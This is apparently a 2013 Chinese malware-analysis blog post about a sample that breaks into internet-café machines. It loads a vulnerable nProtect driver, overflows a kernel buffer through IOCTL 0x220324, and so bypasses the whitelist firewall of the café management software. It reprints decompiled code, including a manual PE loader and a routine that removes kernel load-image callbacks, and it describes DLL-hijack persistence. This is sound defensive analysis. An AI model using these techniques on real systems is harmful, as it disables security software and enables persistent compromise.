某恶意样本绕过驱动防火墙机制分析学习

浏览:
字体:
发布时间:2013-12-21 10:33:05
来源:

这两天,一网吧的朋友向翰海源求助,说他们网吧装了多为网维大师被穿透了,被人中了很多木马,还造成了一定的损失。根据几天的分析,基本弄清楚攻击/绕过的原理,与大家一起分享下。

恶意样本b0005是针对网吧发起攻击的程序。现在网吧中的防护软件,多为网维大师。网维大师具有更新游戏、重启还原等功能。由于网维大师对驱动的防护是通过白名单来实现的,白名单中对驱动才会被放行允许加载。而第三方的白名单驱动存在漏洞,将导致网维大师的驱动防火墙被绕过,使得网吧系统不再安全。

一、 网维大师驱动防火墙的实现原理

网维大师的驱动防火墙实现,不是在NtLoadDriver乃至更底层函数IopLoadDriver上实现的,而是通过内核函数PsSetLoadImageNotifyRoutine安装模块加载回调实现的,在白名单中,就放行。否则,修改内核入口代码,直接返回。白名单的结构是:

 
+0  nCounts     //白名单驱动数据+4  fileSize_0      //白名单驱动0+0x14   fileMd5_0+0x18   fileSize_1+0x28   fileMd5_1

 

以此类推。整个白名单驱动数目是0×4e0项。具体实现如下:

 
int __stdcall dump_CompareMd5ArrayAndPatchPEEntryPoint(stUnicodeString *puniImageName, int ProcessId, stImageInfo *pstImageInfo){int result; // eax@1int v4; // edx@2__int16 v5; // di@2int v6; // eax@2int v8; // eax@7int v9; // esi@8unsigned int v10; // esi@22int v11; // eax@22int v12; // edx@22int v13; // ecx@22int v14; // esi@26int v15; // eax@26int v16; // edx@26int v17; // eax@28int v18; // edx@28int v19; // [sp+Ch] [bp-20h]@1unsigned int iNum; // [sp+10h] [bp-1Ch]@8char irql; // [sp+16h] [bp-16h]@7char bNonInMd5List; // [sp+17h] [bp-15h]@2stMd5CalcResult md5Result; // [sp+18h] [bp-14h]@1unsigned int v24; // [sp+28h] [bp-4h]@1int v25; // [sp+2Ch] [bp+0h]@1v24 = (unsigned int)&v25 ^ (unsigned int)off_8220121C;v19 = 0;result = 0;md5Result.md5_part1 = 0;md5Result.md5_part2 = 0;md5Result.md5_part3 = 0;md5Result.md5_part4 = 0;if ( !(dword_822012A4 & 1) )return result;bNonInMd5List = 1;v5 = dump_CompareBinData((int)&v24, puniImageName, pstImageInfo->ImageBase);v6 = 0xFFFFu;if ( 0xFFFFu == v5 ){v6 = dump_calcBinMd5(puniImageName, &md5Result);//计算md5v19 = v6;if ( !v6 ){bNonInMd5List = 1;v5 = 1;goto LABEL_22;}irql = g_KfAcquireSpinLock(v6, v4, 0x82201290u);v8 = dword_822012AC;if ( dword_822012AC ){iNum = 0;v9 = dword_822012AC + 5;if ( *(_DWORD *)(dword_822012AC + 1) ){do{if ( v19 == *(_DWORD *)v9 ) //比较文件大小{v8 = g_RtlCompareMemory(v9 + 4, &md5Result, 0x10u);// md5值比对if ( v8 == 0x10 ){bNonInMd5List = 0;v5 = 0;break;}v8 = dword_822012AC;}v9 += 0x14u;    //每一项长度为0x14++iNum;}while ( iNum < *(_DWORD *)(v8 + 1) );}}LOBYTE(v4) = irql;v6 = g_KfReleaseSpinLock(v8, v4, 0x82201290u);if ( bNonInMd5List != 1 || !(dword_822012A4 & 2) )goto LABEL_22;v6 = sub_821F8E56(puniImageName);if ( v6 && v6 != 1 ){v5 = 0;goto LABEL_22;}v5 = 1;}else{bNonInMd5List = 1;      //不在白名单中if ( v5 != 4 )goto LABEL_22;v5 = 2;}bNonInMd5List = 0;LABEL_22:v10 = 0;v11 = g_KfAcquireSpinLock(v6, v4, 0x82201290u);v13 = dword_822012E8;while ( v13 ){v13 = *(_DWORD *)v13;++v10;}LOBYTE(v12) = v11;result = g_KfReleaseSpinLock(v11, v12, 0x82201290u);if ( v10 length + 48, 'BLST');((void (__cdecl *)(int, _DWORD, int))dump_memset)(v14, 0, puniImageName->length + 48);*(_DWORD *)(v14 + 4) = puniImageName->length + 0x30;*(_BYTE *)(v14 + <img class="wp-smiley" alt="8)" src=http://www.vm888.com/uploadfile/2013/1218/20131218071716922.gif"> = bNonInMd5List;*(_WORD *)(v14 + 10) = v5;*(_BYTE *)(v14 + 9) = 0;g_memmove(v14 + 44, puniImageName->buf, puniImageName->length + 2);*(_WORD *)(v14 + 2 * ((unsigned int)puniImageName->length >> 1) + 44) = 0;g_KeQuerySystemTime(v14 + 0x24);*(_DWORD *)(v14 + 12) = v19;v15 = g_memmove(v14 + 16, &md5Result, 16);if ( dword_822012A4 & 4 )v15 = sub_821F8A3C((char)puniImageName, (int)puniImageName, (char *)(v14 + 12), 0, v14 + 32);v17 = g_KfAcquireSpinLock(v15, v16, 0x82201290u);*(_DWORD *)v14 = dword_822012E8;LOBYTE(v18) = v17;dword_822012E8 = v14;result = g_KfReleaseSpinLock(v17, v18, 0x82201290u);}if ( bNonInMd5List )        //如果不在白名单表中,将驱动的入口点改为0xc3,也就是retresult = dump_PatchDriverEntryPoint(pstImageInfo->ImageBase);return result;}

 

二、白名单存在安全问题的驱动分析

网维大师的驱动白名单多为游戏保护的驱动,很多游戏保护的驱动存在安全的问题。样本b0005使用的是nPotect的一个老驱动npDrv.sys,该文件的详细信息如下:
/
驱动npDrv在处理用户传入的控制码0×220324的对应的数据时,没有对用户传入数据的长度做判断进行拷贝操作,导致内核缓冲区溢出。出现问题的代码如下:

 
signed int __stdcall np_DeviceControl(PDEVICE_OBJECT a1, PIRP a2){//部分变量声明省略v33 = 0;pIrlLocal = a2;memset(&v34, 0, 0x24u);v35 = 0;pIoStackLocation_local = (PIO_STACK_LOCATION)a2->Tail.Overlay.CurrentStackLocation;v4 = 2228712;v36 = 0;a2 = (PIRP)pIoStackLocation_local;v5 = (unsigned int)pIoStackLocation_local->Parameters.DeviceControl.Argument3; //得到ioctlcodeif ( v5 > 0x2201E8 ){if ( v5 > 0x2203F4 ){v30 = v5 - 0x2203F8;if ( !v30 )     //0x2203f8{sub_11AF8(a1, pIrlLocal);return v36;}v31 = v30 - 6;if ( !v31 ) // 0x2203FE{sub_11B62(a1, pIrlLocal);return v36;}if ( v31 == 4 ) //0x220402{sub_11B87(a1, pIrlLocal);return v36;}return 0xC000000Du;}if ( v5 == 0x2203F4 ) //0x2203f4{sub_11B68(a1, pIrlLocal);return v36;}v23 = v5 - 2228748;if ( !v23 )  //0x22020C{dword_1461C = *(_DWORD *)pIrlLocal->AssociatedIrp.MasterIrp;return v36;}v24 = v23 - 0x118;if ( !v24 )     //0x220324return np_XXX(pIrlLocal, pIoStackLocation_local);  //出现问题的控制码处理函数v25 = v24 - 160;if ( v25 ){if ( v25 == 46 ){v26 = pIrlLocal->MdlAddress;a1 = (PDEVICE_OBJECT)1026;if ( v26->MdlFlags & 5 )v12 = v26->MappedSystemVa;elsev12 = MmMapLockedPages(v26, 0);v17 = pIoStackLocation_local->Parameters.DeviceControl.Argument1;v16 = &a1;goto LABEL_55;}return 0xC000000Du;}//部分伪代码省略return v36;}

 

继续跟踪np_XXX函数,如下:

 
unsigned int __stdcall np_XXX(PIRP pIrp_param, PIO_STACK_LOCATION pIoStackLocation_param){unsigned int v2; // ebx@1int v4; // [sp+Ch] [bp-8h]@1HANDLE Handle; // [sp+10h] [bp-4h]@1v4 = 0;v2 = 0;Handle = 0;memcpy(&v4,pIrp_param->AssociatedIrp.MasterIrp,(unsigned int)pIoStackLocation_param->Parameters.DeviceControl.Argument2);   //拷贝时,没有检测用户传入的数据的长度,直接拷贝到v4当中,导致内核缓冲区溢出,覆盖返回值。if ( v4 == 1 )ObReferenceObjectByHandle(Handle, 0, 0, 1, &Object, 0);elsev2 = 0xC0000001u;return v2;}

 

三、 样本绕过网维驱动防火墙分析

样本b0005加了tmd壳,对关键函数分析得知。样本首先通过服务加载存在安全漏洞的驱动npDrv.sys,通过DeviceIoControl发送0×220324到内核,同时,溢出触发后,讲eip指向用户空间的一个函数地址,该函数代码经过变形处理,该函数的主要功能是自己实现加载pe的过程。由于运行的irql为0环,所以,加载的是穿网维还原的内核驱动。
1) 自己实现pe load过程,具体过程如下:

 
int __cdecl b005_Pe_load(IMAGE_DOS_HEADER *pDosHeaders, int (__stdcall *g_addr_0x402990)(DWORD *, DWORD, PIMAGE_SECTION_HEADER, unsigned int, _DWORD), int g_addr_0x4028b0){int result; // eax@4unsigned int sectionCounts; // [sp+0h] [bp-14h]@5struct _IMAGE_SECTION_HEADER *pSectionHeaderStart; // [sp+4h] [bp-10h]@5int ImageBase_or_pBufAddr; // [sp+8h] [bp-Ch]@5unsigned int i; // [sp+Ch] [bp-8h]@9PIMAGE_NT_HEADERS pNTHeaders; // [sp+10h] [bp-4h]@1pNTHeaders = b005_GetPImagePeHeaders(pDosHeaders);if ( pNTHeaders && g_addr_0x402990 && g_addr_0x4028b0 ){ImageBase_or_pBufAddr = pNTHeaders->OptionalHeader.ImageBase;sectionCounts = (unsigned __int16)b005_GetPeNumberOfSections(pDosHeaders);pSectionHeaderStart = b005_GetPImageSectionHeader(pDosHeaders);if ( (unsigned __int8)g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr,pNTHeaders->OptionalHeader.SizeOfImage,pSectionHeaderStart,sectionCounts,0) ){if ( ImageBase_or_pBufAddr ){b005_copy_binData(ImageBase_or_pBufAddr, pDosHeaders, pNTHeaders->OptionalHeader.SizeOfHeaders);for ( i = 0; i < sectionCounts; ++i )b005_copy_binData(pSectionHeaderStart[i].VirtualAddress + ImageBase_or_pBufAddr,(IMAGE_DOS_HEADER *)((char *)pDosHeaders + pSectionHeaderStart[i].PointerToRawData),pSectionHeaderStart[i].SizeOfRawData);b005_Fixup_BaseReloc_back((struct _IMAGE_DOS_HEADER *)ImageBase_or_pBufAddr);if ( !b005_Fixup_ImportTable((PIMAGE_DOS_HEADER)ImageBase_or_pBufAddr,(int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))g_addr_0x4028b0) ){g_addr_0x402990((DWORD *)&ImageBase_or_pBufAddr, 0, pSectionHeaderStart, sectionCounts, 1);ImageBase_or_pBufAddr = 0;}result = ImageBase_or_pBufAddr;}else{result = 0;}}else{result = 0;}}else{result = 0;}return result;}

 

2) 通过摘除回调使驱动防火墙失效
该样本变种,使用的是摘除内核LoageImageNotifyRoutine的回调过程,实现如下,

 
#pragma pack(1)typedef struct _EX_FAST_REF{union{PVOID Object;ULONG_PTR RefCnt:3;ULONG_PTR Value;};} EX_FAST_REF, *PEX_FAST_REF;typedef struct _EX_CALLBACK_ROUTINE_BLOCK{EX_RUNDOWN_REF RundownProtect;PEX_CALLBACK_FUNCTION Function;PVOID Context;} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;#pragma pack()// PspLoadImageNotifyRoutine数组大小#define PSP_MAX_LOAD_IMAGE_NOTIFY           8// 系统PspLoadImageNotifyRoutine变量位置PULONG g_PspLoadImageNotifyRoutine = NULL;// 根据特征码查找PspLoadImageNotifyRoutine数组的起始地址PULONG FindPspLoadImageNotifyRoutine( PUCHAR FuncBase ){ULONG nIndex;PULONG result = NULL;// 查找ingfor ( nIndex = 0; nIndex < 512; ++nIndex ){// 比较头部(这里的0x56和0xbe是特征码)if ( (*(UCHAR*)FuncBase == 0x56) && (*(UCHAR*)(FuncBase + 1)  == 0xbe) )  //特征码查找{// 保存地址并返回result = *(PULONG)(FuncBase + 2);break;}// 继续遍历++FuncBase;}return result;}// 检测并挂钩NP的回调函数VOID RemoveLoadImageCallBack(){PEX_FAST_REF ExRef;ULONG nIndex;NTSTATUS status;ExRef = (PEX_FAST_REF)(g_PspLoadImageNotifyRoutine);for ( nIndex = 0; nIndex Value & ~7);      // 详见WRKif ( MmIsAddressValid((PVOID)Point) ){// 移除注册的回调函数status = PsRemoveLoadImageNotifyRoutine( Point->Function );//摘除该回调过程if ( NT_SUCCESS(status) ){KdPrint(("remove LoadImage notify success: %d./n", nIndex));}}++ExRef;}}

 

摘除后,网维大师不再对驱动加载进行拦截。

四、 样本b0005穿还原的方式

样本b0005穿还原的方式,加载穿还原的机器狗驱动,通过dll劫持,替换lpk.dll为大小相近的fake_lpk.dll实现,达到重启后网吧电脑重启后,得到再次运行的机会,从而常驻网吧电脑。

五、 还有什么

没什么了,顺便吼一下, 亲们,加入翰海源吧,与我们一起成长,和我们一起做一些很有挑战、有意思的事情。

–EOF

by bingle of code audit labs of vulnhunt.com

url:http://blog.vulnhunt.com/index.php/2013/12/18/bypass_icafee_analysis/

 
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2023 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();